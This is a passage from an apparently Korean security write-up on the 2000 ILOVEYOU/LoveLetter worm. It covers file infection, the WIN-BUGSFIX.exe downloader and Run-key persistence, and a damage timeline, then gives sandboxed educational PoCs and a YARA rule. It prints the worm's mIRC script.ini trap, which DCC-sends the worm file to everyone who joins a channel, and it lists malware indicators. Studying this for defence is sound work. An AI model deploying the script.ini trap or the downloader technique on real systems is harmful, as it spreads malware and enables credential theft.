.jpg .jpeg .mp3 .mp2์›๋ณธ์„ ์‚ญ์ œํ•˜๊ณ  <์›๋ณธ์ด๋ฆ„>.vbs๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ ๋‹ค๋ฏธ๋””์–ด ํŒŒ์ผ ์œ ์‹ค(๊ฐ€์žฅ ๋„๋ฆฌ ๋ณด๊ณ ๋œ ํ”ผํ•ด)
.html .htmํŒŒ์ผ ๋์— ์Šคํฌ๋ฆฝํŠธ ๋ณธ๋ฌธ์„ ๋ง๋ถ™์ธ๋‹ค(append)์›๋ณธ ๋ณด์กด, ์—ด๋ฉด ์žฌ๊ฐ์—ผ
mirc.ini ๋ฐœ๊ฒฌ ์‹œ๊ฐ™์€ ํด๋”์— script.ini ์ƒ์„ฑIRC DCC ์ž๋™ ์ „์†ก

listadriv()๋Š” Drives ์ปฌ๋ ‰์…˜์„ ๋Œ๋ฉฐ C:๋ถ€ํ„ฐ Z:๊นŒ์ง€, ๋„คํŠธ์›Œํฌ๋กœ ๋งคํ•‘๋œ ๋“œ๋ผ์ด๋ธŒ๊นŒ์ง€ ์žฌ๊ท€ ์ˆœํšŒํ•œ๋‹ค. ํด๋” ๊นŠ์ด ์ œํ•œ๋„, ํŒŒ์ผ ๊ฐœ์ˆ˜ ์ œํ•œ๋„ ์—†๋‹ค. ๊ทธ๋ž˜์„œ ๊ฐ์—ผ ์งํ›„ ๋””์Šคํฌ ์‚ฌ์šฉ๋ฅ ์ด ๊ธ‰์ฆํ•˜๊ณ (ํŒŒ์ผ๋งˆ๋‹ค ์‚ฌ๋ณธ ์ƒ์„ฑ), ๋ฐฑ์‹ ์˜ ์‹ค์‹œ๊ฐ„ ๊ฒ€์‚ฌ๊ฐ€ ์ˆ˜์ฒœ ๊ฑด์˜ ํƒ์ง€๋ฅผ ์Ÿ์•„๋ƒˆ๋‹ค.

3.4 mIRC script.ini โ€” ์‚ฌ๋žŒ์ด ๋งŽ์€ ๊ณณ์—์„œ ์ง€์ˆ˜๊ฐ€ ๋˜๋Š” ๊ฐ์—ผ

IRC ํด๋ผ์ด์–ธํŠธ mIRC๋Š” ๊ฐ™์€ ํด๋”์˜ script.ini๋ฅผ ์ž๋™์œผ๋กœ ์ฝ๋Š”๋‹ค. ์›œ์€ ์ด ํŒŒ์ผ์„ ์ง์ ‘ ์ž‘์„ฑํ•ด, ๋‚ด๊ฐ€ ์–ด๋–ค ์ฑ„๋„์— ์ž…์žฅ(on 1:JOIN)ํ•  ๋•Œ๋งˆ๋‹ค ์ฑ„๋„์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ํŒŒ์ผ์„ DCC๋กœ ๋ณด๋‚ด๋Š” ์ด๋ฒคํŠธ๋ฅผ ์‹ฌ์—ˆ๋‹ค.

[script]
n0=on 1:JOIN:#:{
n1=  /if ( $nick == $me ) { halt }
n2=  /.dcc send $nick C:\Windows\System32\LOVE-LETTER-FOR-YOU.HTM
n3=}

IRC์—๋Š” ์ด๋ฏธ "ํŒŒ์ผ์„ ๋ฐ›์œผ๋ฉด ์‹คํ–‰ํ•œ๋‹ค"๋Š” ๋ฌธํ™”๊ฐ€ ์žˆ์—ˆ๋‹ค. ๋‚ฏ์„  ์‚ฌ๋žŒ์ด ๋ณด๋‚ธ ํŒŒ์ผ์„ ์—ฌ๋Š” ํ–‰์œ„๊ฐ€ ์ž์—ฐ์Šค๋Ÿฌ์› ๊ณ , ์ฑ„๋„ ํ•˜๋‚˜์— 200๋ช…์ด ์žˆ์œผ๋ฉด ํ•œ ๋ฒˆ์˜ ์ž…์žฅ์ด 200๊ฑด์˜ ๊ฐ์—ผ ์‹œ๋„๊ฐ€ ๋œ๋‹ค. ์›œ์ด IRC์šฉ์œผ๋กœ ๋”ฐ๋กœ LOVE-LETTER-FOR-YOU.HTM์„ ๋งŒ๋“  ์ด์œ ๋„, ๋ฉ”์ผ ์ฒจ๋ถ€(.vbs)๊ฐ€ IRC์—์„œ ์ฐจ๋‹จ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

3.5 2๋‹จ๊ณ„ ํŽ˜์ด๋กœ๋“œ โ€” WIN-BUGSFIX.EXE์™€ ์‹œ์ž‘ ํŽ˜์ด์ง€ ํŠธ๋ฆญ

์›œ ๋ณธ์ฒด๋Š” 'ํ™•์‚ฐ'๋งŒ ๋‹ด๋‹นํ•˜๊ณ , ์‹ค์ œ ๋ชฉ์ (์•”ํ˜ธ ํƒˆ์ทจ)์€ ๋ณ„๋„ ์‹คํ–‰ ํŒŒ์ผ์ด ๋งก์•˜๋‹ค. ๋‹ค์šด๋กœ๋“œ ๋ฐฉ์‹์ด ๋…ํŠนํ•˜๋‹ค.

  1. HKCU\...\Internet Explorer\Download Directory์—์„œ ์‚ฌ์šฉ์ž์˜ ๋‹ค์šด๋กœ๋“œ ํด๋”๋ฅผ ์ฝ๋Š”๋‹ค(๋น„์–ด ์žˆ์œผ๋ฉด c:\).
  2. IE ์‹œ์ž‘ ํŽ˜์ด์ง€(Start Page)๋ฅผ WIN-BUGSFIX.exe๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” URL๋กœ ๋ฐ”๊พผ๋‹ค. ํŒŒ์ผ ํ™•์žฅ์ž๋ฅผ .exe๋กœ ์ค€ ๊ฒƒ์€ IE๊ฐ€ ์‹คํ–‰ ํŒŒ์ผ์„ '๋‹ค์šด๋กœ๋“œ'๋กœ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์œ ๋„ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋‹ค.
  3. ๋‹ค์Œ์— IE๋ฅผ ์—ด๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ทธ URL์„ ๋ฐ›์•„ ๋‹ค์šด๋กœ๋“œ ํด๋”์— WIN-BUGSFIX.exe๋ฅผ ์ €์žฅํ•œ๋‹ค.
  4. HKLM\...\Run\WIN-BUGSFIX์— ๊ทธ ๊ฒฝ๋กœ๋ฅผ ๋“ฑ๋กํ•ด ์žฌ๋ถ€ํŒ… ์‹œ ์ž๋™ ์‹คํ–‰๋˜๊ฒŒ ํ•˜๊ณ , ์‹œ์ž‘ ํŽ˜์ด์ง€๋ฅผ about:blank๋กœ ๋˜๋Œ๋ ค ํ”์ ์„ ๊ฐ์ถ˜๋‹ค.

์ฆ‰ '๋ธŒ๋ผ์šฐ์ €๋ฅผ ๋‹ค์šด๋กœ๋”๋กœ ์“ฐ๋Š”' ๊ธฐ๋ฒ•์ด๋‹ค. HTTP ํด๋ผ์ด์–ธํŠธ๋ฅผ ์ง์ ‘ ๊ตฌํ˜„ํ•˜์ง€ ์•Š๊ณ ๋„ ํŒŒ์ผ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์—ˆ๊ณ , ํŠธ๋ž˜ํ”ฝ์€ ์ •์ƒ์ ์ธ ์›น ์š”์ฒญ์œผ๋กœ ๋ณด์˜€๋‹ค. ์ด ํŠธ๋กœ์ด๋ชฉ๋งˆ๋Š” ๋‹ค์ด์–ผ์—… ๋„คํŠธ์›Œํฌ ์•”ํ˜ธ์™€ ์บ์‹œ๋œ ์ž๊ฒฉ์ฆ๋ช…์„ ์ˆ˜์ง‘ํ•ด ํŠน์ • ๋ฉ”์ผ ์ฃผ์†Œ๋กœ ์ „์†กํ•˜๋ ค ํ–ˆ๋‹ค. ๋‹คํ–‰ํžˆ ์ด ๋‹ค์šด๋กœ๋“œ URL์€ ์‚ฌ๊ฑด ์งํ›„ ํ†ต์‹ ์‚ฌยทํ˜ธ์ŠคํŒ… ์—…์ฒด๊ฐ€ ์ฐจ๋‹จํ•ด ๋Œ€๊ทœ๋ชจ 2์ฐจ ํ”ผํ•ด๋Š” ๋ฐœ์ƒํ•˜์ง€ ์•Š์•˜๋‹ค.

3.6 ์™œ ์ด๋ ‡๊ฒŒ ๋นจ๋ž๋‚˜ โ€” ๋‹ค์„ฏ ๊ฐ€์ง€ ๊ตฌ์กฐ์  ์ด์œ 

4. ํ”ผํ•ด ๊ทœ๋ชจ/์˜ํ–ฅ โ€” 2000๋…„ 5์›” 4์ผ์˜ ์ˆซ์ž

์‹œ๊ฐ (2000-05-04, UTC ๊ธฐ์ค€ ๋Œ€๋žต)์‚ฌ๊ฑด
์ƒˆ๋ฒฝ๋งˆ๋‹๋ผ์—์„œ ์ฒซ ์œ ํฌ. ํ™์ฝฉ ์‚ฌ์šฉ์ž๋“ค์ด ์ตœ์ดˆ ๊ฐ์—ผ ๋ณด๊ณ 
์˜ค์ „์œ ๋Ÿฝ ์ง„์ž…. ์˜๊ตญ ํ•˜์›ยท๋ด๋งˆํฌ ์˜ํšŒ ๋ฉ”์ผ ๋งˆ๋น„
์˜คํ›„๋ฏธ๊ตญ ์ง„์ž…. ํฌ๋“œยท๋‹ค์šฐ์กด์ŠคยทCIAยทํŽœํƒ€๊ณค ๋Œ€์‘. ๋ฐฑ์‹  ์—…์ฒด ์ •์˜ ๊ธด๊ธ‰ ๋ฐฐํฌ
๋ฐค์ „ ์„ธ๊ณ„ ISPยท๊ธฐ์—…์ด SMTP ์ž„์‹œ ์ฐจ๋‹จ ๋˜๋Š” .vbs ํ•„ํ„ฐ ๋„์ž…
5์›” 5์ผ~๋ชจ๋ฐฉ ๋ณ€์ข… ํญ๋ฐœ. ๋ฏธ๊ตญยท์˜๊ตญยทํ•„๋ฆฌํ•€ ๊ณต์กฐ ์ˆ˜์‚ฌ ๊ฐœ์‹œ
5์›” 8์ผde Guzman ์žํƒ ์ˆ˜์ƒ‰. 5์›” 21์ผ ๊ธฐ์†Œ ์ทจํ•˜(๋ฒ•๋ฅ  ๊ณต๋ฐฑ)

5. PoC โ€” ๋™์ž‘ ์›๋ฆฌ ์žฌํ˜„ (๊ต์œก์šฉยท๋กœ์ปฌ ๋žฉ ์ „์šฉ)

โš ๏ธ ์•ˆ์ „ ๊ทœ์น™ โ€” ์•„๋ž˜ ์ฝ”๋“œ๋Š” ๋™์ž‘ ์›๋ฆฌ ํ•™์Šต์šฉ ๋ชจ์˜ ์ฝ”๋“œ๋‹ค. ์‹ค์ œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธยท๋ฉ”์ผ ๋ฐœ์†ก ์ฝ”๋“œยทํƒˆ์ทจ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š์œผ๋ฉฐ, ๋ชจ๋“  ์‹ค์Šต์€ ๊ฐ€์ƒ์˜ ๋กœ์ปฌ ๋žฉ(127.0.0.1, /tmp ์ƒŒ๋“œ๋ฐ•์Šค, ๊ฐ€์ƒ ์ฃผ์†Œ๋ก)์„ ์ „์ œ๋กœ ํ•œ๋‹ค. ์‹ค์ œ ๋ฉ”์ผ ๋ฐœ์†ก, ํƒ€์ธ ์‹œ์Šคํ…œ ๋Œ€์ƒ ์‹คํ–‰, ์‹ค์ œ ์ฃผ์†Œ๋ก ์‚ฌ์šฉ์€ ์ •๋ณดํ†ต์‹ ๋ง๋ฒ• ์œ„๋ฐ˜์ด๋‹ค. 4๊ฐœ์˜ PoC๋Š” ๋ชจ๋‘ "๊ด€์ฐฐยท์ธก์ •ยทํƒ์ง€"์— ๋ชฉ์ ์ด ์žˆ๋‹ค.

PoC 1 โ€” ๋Œ€๋Ÿ‰ ๋ฉ”์ผ ํ™•์‚ฐ ๋ชจ๋ธ (์‹ค์ œ ๋ฐœ์†ก ์—†์Œ, ํ™•๋ฅ  ์‹œ๋ฎฌ๋ ˆ์ด์…˜)

์›œ์ด ์™œ ํ•˜๋ฃจ ๋งŒ์— ์กฐ์ง ์ „์ฒด๋ฅผ ๋ฎ๋Š”์ง€๋ฅผ ์ˆซ์ž๋กœ ๋ณธ๋‹ค. ํ•ต์‹ฌ ๋ณ€์ˆ˜๋Š” ์ฃผ์†Œ๋ก ํฌ๊ธฐ ร— ์ฒจ๋ถ€ ์‹คํ–‰๋ฅ ์ด๋‹ค. 2000๋…„ ๊ด€์ธก(์ฃผ์†Œ๋ก ์ˆ˜์‹ญ~์ˆ˜๋ฐฑ, ์‹คํ–‰๋ฅ  20~40%)์„ ๊ฐ€์ •ํ•˜๋ฉด 4~5๋‹จ๊ณ„์—์„œ ํฌํ™”๋œ๋‹ค.

#!/usr/bin/env python3
"""๊ต์œก์šฉ: ILOVEYOU๋ฅ˜ ๋Œ€๋Ÿ‰ ๋ฉ”์ผ ํ™•์‚ฐ์„ 'ํ™•๋ฅ  ๋ชจ๋ธ'๋กœ๋งŒ ์žฌํ˜„ํ•œ๋‹ค.
   ์‹ค์ œ ๋„คํŠธ์›Œํฌ/๋ฉ”์ผ ์ „์†ก์€ ์ผ์ ˆ ์—†๋‹ค. ๋ชจ๋“  ์ˆ˜์‹ ์ž๋Š” ๊ฐ€์ƒ ์ธ๋ฌผ."""
import random
random.seed(20000504)

POP        = 50_000   # ๊ฐ€์ƒ ์กฐ์ง์˜ ๋ฉ”์ผ ๊ณ„์ • ์ˆ˜
BOOK       = 60       # ํ•œ ๊ฐ์—ผ์ž ์ฃผ์†Œ๋ก ํฌ๊ธฐ (2000๋…„ ๊ธฐ์—… ์‚ฌ์šฉ์ž ๊ฐ€์ •)
OPEN_RATE  = 0.30     # ์ฒจ๋ถ€ ์‹คํ–‰๋ฅ  (๊ฐ€์ •)
STEPS      = 10       # ํ™•์‚ฐ ๋‹จ๊ณ„ (๋ฉ”์ผ 1์™•๋ณต โ‰ˆ ์ˆ˜์‹ญ ๋ถ„)

infected = {0}                      # ์‹œ๋“œ 1๋ช… (๊ฐ€์ƒ)
print(f"{'๋‹จ๊ณ„':>4} {'์‹ ๊ทœ':>8} {'๋ˆ„์ ':>8} {'๊ฐ์—ผ๋ฅ ':>8}")
for step in range(1, STEPS + 1):
    new = set()
    for host in infected:
        for _ in range(BOOK):                # ์ฃผ์†Œ๋ก ์ˆœํšŒ
            target = random.randrange(POP)
            if target not in infected and random.random() < OPEN_RATE:
                new.add(target)              # ๋”๋ธ”ํด๋ฆญ โ†’ ๊ฐ์—ผ
    infected |= new
    print(f"{step:>4} {len(new):>8} {len(infected):>8} "
          f"{100*len(infected)/POP:>7.1f}%")
    if len(infected) >= POP * 0.9:
        print("โ†’ 90% ํฌํ™”. ๋ฉ”์ผ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ .vbs๋ฅผ ์ฐจ๋‹จํ•˜๊ธฐ ์ „๊นŒ์ง€ ๋ฉˆ์ถ”์ง€ ์•Š๋Š”๋‹ค.")
        break

ํ•ด์„ค: ํ™•์‚ฐ์„ ๋ฉˆ์ถ”๋Š” ์ง€์ ์€ ์›œ์˜ ๋Šฅ๋ ฅ์ด ์•„๋‹ˆ๋ผ ๋ฐฉ์–ด ์ง€์ ์ด๋‹ค. ์‹คํ–‰๋ฅ ์„ 0.30 โ†’ 0.03์œผ๋กœ ๋‚ฎ์ถ”๊ธฐ๋งŒ ํ•ด๋„(ํ™•์žฅ์ž ํ‘œ์‹œ + ์ฒจ๋ถ€ ์ฐจ๋‹จ) ํฌํ™” ๋‹จ๊ณ„๊ฐ€ 3~4๋‹จ๊ณ„ ๋’ค๋กœ ๋ฐ€๋ฆฐ๋‹ค. ์‹ค์ œ 2000๋…„ 5์›” 4์ผ ๋ฐค, ์ „ ์„ธ๊ณ„ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ .vbs๋ฅผ ์ฐจ๋‹จํ•œ ์ˆœ๊ฐ„ ๊ณก์„ ์ด ๊บพ์˜€๋‹ค.

PoC 2 โ€” ํŒŒ์ผ ๊ฐ์—ผ ๋ฉ”์ปค๋‹ˆ์ฆ˜ (์ƒŒ๋“œ๋ฐ•์Šค ํ•œ์ • ยท ์›๋ณธ ๋ณด์กดํ˜• ์Šคํ…)

์›œ์˜ infectfiles()๊ฐ€ ํ™•์žฅ์ž๋ณ„๋กœ ๋‹ค๋ฅด๊ฒŒ ๋™์ž‘ํ•œ๋‹ค๋Š” ์ ์„ ๊ฐ€์—ญ์ ์œผ๋กœ ์žฌํ˜„ํ•œ๋‹ค. ์‹ค์ œ ์›œ์€ JPG/MP3 ์›๋ณธ์„ ์‚ญ์ œํ–ˆ์ง€๋งŒ, ์—ฌ๊ธฐ์„œ๋Š” ์›๋ณธ์„ ์ˆจ๊น€ ์ด๋ฆ„์œผ๋กœ ์˜ฎ๊ธฐ๊ณ  ์Šคํ…๋งŒ ๋ฐฐ์น˜ํ•ด "์™œ ์–ด๋–ค ํŒŒ์ผ์€ ๋ณต๊ตฌ๋˜๊ณ  ์–ด๋–ค ํŒŒ์ผ์€ ๋ณต๊ตฌ๋˜์ง€ ์•Š๋Š”์ง€"๋ฅผ ์ฒดํ—˜ํ•œ๋‹ค. /tmp ๋ฐ–์—์„œ๋Š” ์ ˆ๋Œ€ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ๊ฐ€๋“œ๋ฅผ ๋‘”๋‹ค.

#!/usr/bin/env python3
"""๊ต์œก์šฉ ํŒŒ์ผ ๊ฐ์—ผ ๋ฉ”์ปค๋‹ˆ์ฆ˜ ์žฌํ˜„ โ€” /tmp ์ƒŒ๋“œ๋ฐ•์Šค ์ „์šฉ, ํŒŒ๊ดด ์—†์Œ."""
import os, shutil
from pathlib import Path

LAB = Path("/tmp/loveletter_lab")
assert str(LAB).startswith("/tmp/"), "๋žฉ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์—์„œ๋Š” ์‹คํ–‰ ๊ธˆ์ง€"
(LAB / "docs").mkdir(parents=True, exist_ok=True)

# ๊ฐ€์ƒ ํ”ผํ•ด ํŒŒ์ผ ์ƒ์„ฑ (์‹ค์ œ ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ ์•„๋‹˜)
for n in ["photo.jpg", "song.mp3", "index.html", "note.vbs"]:
    (LAB / "docs" / n).write_text(f"<๊ฐ€์ƒ ์›๋ณธ: {n}>", encoding="utf-8")

STUB = "# (๊ต์œก์šฉ ์Šคํ…) ์‹ค์ œ๋กœ๋Š” ์—ฌ๊ธฐ์— ์›œ ๋ณธ๋ฌธ์ด ๋“ค์–ด๊ฐ„๋‹ค\n"

def infect(p: Path) -> str:
    ext = p.suffix.lower()
    if ext in {".vbs", ".vbe"}:                     # ๋ฎ์–ด์“ฐ๊ธฐ โ†’ ๋ณต๊ตฌ ๋ถˆ๊ฐ€
        p.write_text(STUB, encoding="utf-8"); return f"{p.name}: ๋ฎ์–ด์”€(์›๋ณธ ์†Œ์‹ค)"
    if ext in {".jpg", ".jpeg", ".mp3", ".mp2"}:    # ์›๋ณธ ์€๋‹‰ + ์Šคํ… (๊ฐ€์—ญ ๋ณ€ํ˜•)
        hidden = p.with_name(p.name + ".orig")
        p.rename(hidden)
        p.with_name(p.name + ".vbs").write_text(STUB, encoding="utf-8")
        return f"{p.name}: ์›๋ณธโ†’{hidden.name}, {p.name}.vbs ์ƒ์„ฑ"
    if ext in {".html", ".htm"}:                    # ์ถ”๊ฐ€(append) โ†’ ์›๋ณธ ๋ณด์กด
        with p.open("a", encoding="utf-8") as f:
            f.write("\n\n")
        return f"{p.name}: ๋์— ์Šคํฌ๋ฆฝํŠธ ์ถ”๊ฐ€(์›๋ณธ ๋ณด์กด)"
    return f"{p.name}: ๋Œ€์ƒ ์•„๋‹˜"

for f in sorted((LAB / "docs").iterdir()):
    print(infect(f))

print("\n[๋ณต๊ตฌ] note.vbs๋Š” ์›๋ณธ์ด ์‚ฌ๋ผ์กŒ๊ณ , photo.jpg๋Š” .orig๋กœ ๋‚จ์•„ ์žˆ๋‹ค:",
      sorted(x.name for x in (LAB / "docs").iterdir()))

ํ•ด์„ค: ์ด ํ‘œ ํ•˜๋‚˜๊ฐ€ 2000๋…„์˜ ํ˜ผ๋ž€์„ ์„ค๋ช…ํ•œ๋‹ค. ๊ฐ™์€ ์›œ์— ๊ฐ์—ผ๋์–ด๋„ ์‚ฌ์ง„์€ ์‚ฌ๋ผ์ง€๊ณ  HTML์€ ๋‚จ์•˜๋‹ค. ๋ฐฑ์‹  ์—…์ฒด๊ฐ€ "๋ณต๊ตฌ ๋„๊ตฌ"๋ฅผ ๋ฐฐํฌํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ ๊ฒƒ๋„, HTML/VBS ๊ณ„์—ด์ด ์›๋ณธ์„ ๋ณด์กดํ•œ ์ฑ„ ์ฝ”๋“œ๋งŒ ๋ง๋ถ™์˜€๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋ฐ˜๋Œ€๋กœ .vbs๋กœ ๋ฎ์ธ ํŒŒ์ผ์€ ๋˜๋Œ๋ฆด ์ •๋ณด๊ฐ€ ์—†์—ˆ๋‹ค.

PoC 3 โ€” mIRC script.ini DCC ํŠธ๋žฉ (ํŒŒ์ผ ์ƒ์„ฑ๊นŒ์ง€๋งŒ, ๋„คํŠธ์›Œํฌ ์—†์Œ)

IRC ์ „ํŒŒ๊ฐ€ ์™œ '์‚ฌ๋žŒ ์ˆ˜์˜ ์ œ๊ณฑ'์ด ๋˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. ์•„๋ž˜๋Š” ๋žฉ ํด๋”์— ํ…์ŠคํŠธ ํŒŒ์ผ์„ ํ•˜๋‚˜ ์“ธ ๋ฟ์ด๋ฉฐ, mIRC๋ฅผ ์„ค์น˜ยท์‹คํ–‰ํ•˜์ง€ ์•Š๋Š”๋‹ค.

#!/usr/bin/env python3
"""๊ต์œก์šฉ: mIRC script.ini ์ž๋™ ์ „์†ก ํŠธ๋žฉ์˜ 'ํ˜•ํƒœ'๋งŒ ์žฌํ˜„ํ•œ๋‹ค.
   mIRC๊ฐ€ ์„ค์น˜๋ผ ์žˆ์ง€ ์•Š์€ ๋žฉ์—์„œ, ์–ด๋–ค ํŒŒ์ผ์ด ์™œ ์œ„ํ—˜ํ•œ์ง€๋งŒ ๊ด€์ฐฐํ•œ๋‹ค."""
from pathlib import Path

LAB = Path("/tmp/loveletter_lab"); LAB.mkdir(exist_ok=True)
TRAP = LAB / "script.ini"

TRAP.write_text(
    "[script]\n"
    "n0=on 1:JOIN:#:{\n"
    "n1=  /if ( $nick == $me ) { halt }\n"
    "n2=  /.dcc send $nick /LOVE-LETTER-FOR-YOU.HTM\n"
    "n3=}\n", encoding="utf-8")

print("์ƒ์„ฑ:", TRAP)
print("โ†’ mIRC๋Š” ์ด ํŒŒ์ผ์„ ์ž๋™ ๋กœ๋“œํ•œ๋‹ค. ์ดํ›„ ์ฑ„๋„ ์ž…์žฅ๋งˆ๋‹ค ์ฐธ๊ฐ€์ž ์ „์›์—๊ฒŒ DCC ์ „์†ก.")
print("โ†’ ์ฑ„๋„ ์ธ์› N๋ช…์ด๋ฉด 1ํšŒ ์ž…์žฅ = N๊ฑด ์ „์†ก ์‹œ๋„. ๊ฐ์—ผ์ž๊ฐ€ ๋Š˜๋ฉด Nร—M์œผ๋กœ ํญ๋ฐœ.")
print("\n[ํƒ์ง€ ํฌ์ธํŠธ] mirc.ini๊ฐ€ ์žˆ๋Š” ํด๋”์— script.ini๊ฐ€ '์ƒˆ๋กœ' ์ƒ๊ธฐ๊ณ ")
print("              ๋ณธ๋ฌธ์— '.dcc send' + ์™ธ๋ถ€ ์‹คํ–‰ํŒŒ์ผ/์Šคํฌ๋ฆฝํŠธ ๊ฒฝ๋กœ๊ฐ€ ์žˆ์œผ๋ฉด ์ฆ‰์‹œ ์˜์‹ฌ.")

ํ•ด์„ค: IRC ์ „ํŒŒ์˜ ๋ณธ์งˆ์€ "์ž…์žฅ ์ด๋ฒคํŠธ = ๋ฐœ์†ก ํŠธ๋ฆฌ๊ฑฐ"๋‹ค. ์‚ฌ์šฉ์ž๋Š” ์•„๋ฌด๊ฒƒ๋„ ํ•˜์ง€ ์•Š๋Š”๋ฐ, ์ฑ„๋„์— ๋“ค์–ด๊ฐ€๋Š” ํ–‰์œ„ ์ž์ฒด๊ฐ€ ๋ฐฐํฌ ํ–‰์œ„๊ฐ€ ๋œ๋‹ค. ์˜ค๋Š˜๋‚  Discord/Slack ๋ด‡ ํ† ํฐ ํƒˆ์ทจ๋‚˜ ์›œํ˜• ํ™•์‚ฐ(์˜ˆ: 2024๋…„ Discord CDN ์•…์šฉ ์บ ํŽ˜์ธ)๋„ ๊ฐ™์€ ๋ฌธ๋ฒ•์„ ์“ด๋‹ค โ€” "๋‚ด๊ฐ€ ์†ํ•œ ๊ณต๊ฐ„์˜ ๋ชจ๋“  ๊ตฌ์„ฑ์›์—๊ฒŒ ์ž๋™ ์ „์†ก".

PoC 4 โ€” YARA ํƒ์ง€ ๋ฃฐ (๋ฐฉ์–ด ์ธก)

ILOVEYYOU๋Š” ์ฝ”๋“œ๊ฐ€ ํ‰๋ฌธ์ด๋ฏ€๋กœ ๋ฌธ์ž์—ด ๊ธฐ๋ฐ˜ ํƒ์ง€๊ฐ€ ๋งค์šฐ ํšจ๊ณผ์ ์ด์—ˆ๋‹ค. ์•„๋ž˜๋Š” ๊ณต๊ฐœ ๋ถ„์„ ์ž๋ฃŒ์— ๋“ฑ์žฅํ•œ ์ง€ํ‘œ(์ฃผ์„ ๋ฌธ๊ตฌยท์ฒจ๋ถ€ ์ด๋ฆ„ยท๋ฉ”์ผ ๋ณธ๋ฌธยท์ƒ์ฃผ ํŒŒ์ผ๋ช…)๋ฅผ ์กฐํ•ฉํ•œ ๊ต์œก์šฉ ๋ฃฐ์ด๋‹ค. 2 of them ์กฐ๊ฑด์œผ๋กœ ์˜คํƒ์„ ์ค„์˜€๋‹ค.

rule VBS_LoveLetter_ILOVEYOU_Markers
{
    meta:
        description = "ILOVEYOU / LoveLetter VBS mass-mailer ์ง€ํ‘œ (๊ต์œก์šฉ)"
        author      = "security-lab"
        date        = "2026-10-22"
        reference   = "https://en.wikipedia.org/wiki/ILOVEYOU"
        scope       = "file"
    strings:
        $hdr1 = "barok -loveletter(vbe)"            ascii nocase
        $hdr2 = "i hate go to school"               ascii nocase
        $hdr3 = "GRAMMERSoft Group"                 ascii nocase
        $att  = "LOVE-LETTER-FOR-YOU"               ascii nocase
        $body = "kindly check the attached LOVELETTER coming from me." ascii nocase
        $drop1 = "MSKernel32.vbs"                   ascii nocase
        $drop2 = "Win32DLL.vbs"                     ascii nocase
        $drop3 = "WIN-BUGSFIX.exe"                  ascii nocase
        $mirc = "script.ini"                        ascii nocase
    condition:
        filesize < 30KB and 2 of them
}

ํ•ด์„ค: ์‹ค์ œ ์šด์˜์—์„œ๋Š” ํŒŒ์ผ ๋ฃฐ๊ณผ ํ•จ๊ป˜ โ‘  wscript.exe๊ฐ€ ๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธยท๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ž์‹ ํ”„๋กœ์„ธ์Šค๋กœ ์ƒ์„ฑํ•˜๋Š” ํ–‰์œ„(์•„์›ƒ๋ฃฉ COM ์ž๋™ํ™”), โ‘ก HKCU\Software\Microsoft\WAB\ ํ‚ค์˜ ๋น„์ •์ƒ ๋‹ค๋Ÿ‰ ์“ฐ๊ธฐ, โ‘ข Start Page ๊ฐ’์ด .exe URL๋กœ ๋ณ€๊ฒฝ๋˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ์ƒ๊ด€ ๋ถ„์„ํ•œ๋‹ค. ๋‹จ์ผ ์ง€ํ‘œ๋Š” ์˜คํƒ์ด ๋งŽ์ง€๋งŒ, ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ + ๋Œ€๋Ÿ‰ ๋ฐœ์†ก + ์‹œ์ž‘ ํŽ˜์ด์ง€ ๋ณ€๊ฒฝ์ด ๊ฒน์น˜๋ฉด ํ™•์‹ ๋„๊ฐ€ ๊ธ‰๋“ฑํ•œ๋‹ค.

6. ๋ฐฉ์–ด ๋ฐฉ๋ฒ• โ€” 2000๋…„์˜ ๋‹ต, ๊ทธ๋ฆฌ๊ณ  ์˜ค๋Š˜์˜ ๋‹ต

6.1 ์ฆ‰์‹œ ์กฐ์น˜ (๋‹น์‹œ ๊ธฐ์ค€)

6.2 ์˜ค๋Š˜๋‚ ์˜ ๊ด€์ 

7. ๊ตํ›ˆ โ€” ILOVEYOU๊ฐ€ ๋‚จ๊ธด ๋„ค ๊ฐ€์ง€

์ถœ์ฒ˜ ๋ฐ ํ•จ๊ป˜ ์ฝ๊ธฐ

โ† ๋ชฉ๋ก์œผ๋กœ ๋Œ์•„๊ฐ€๊ธฐ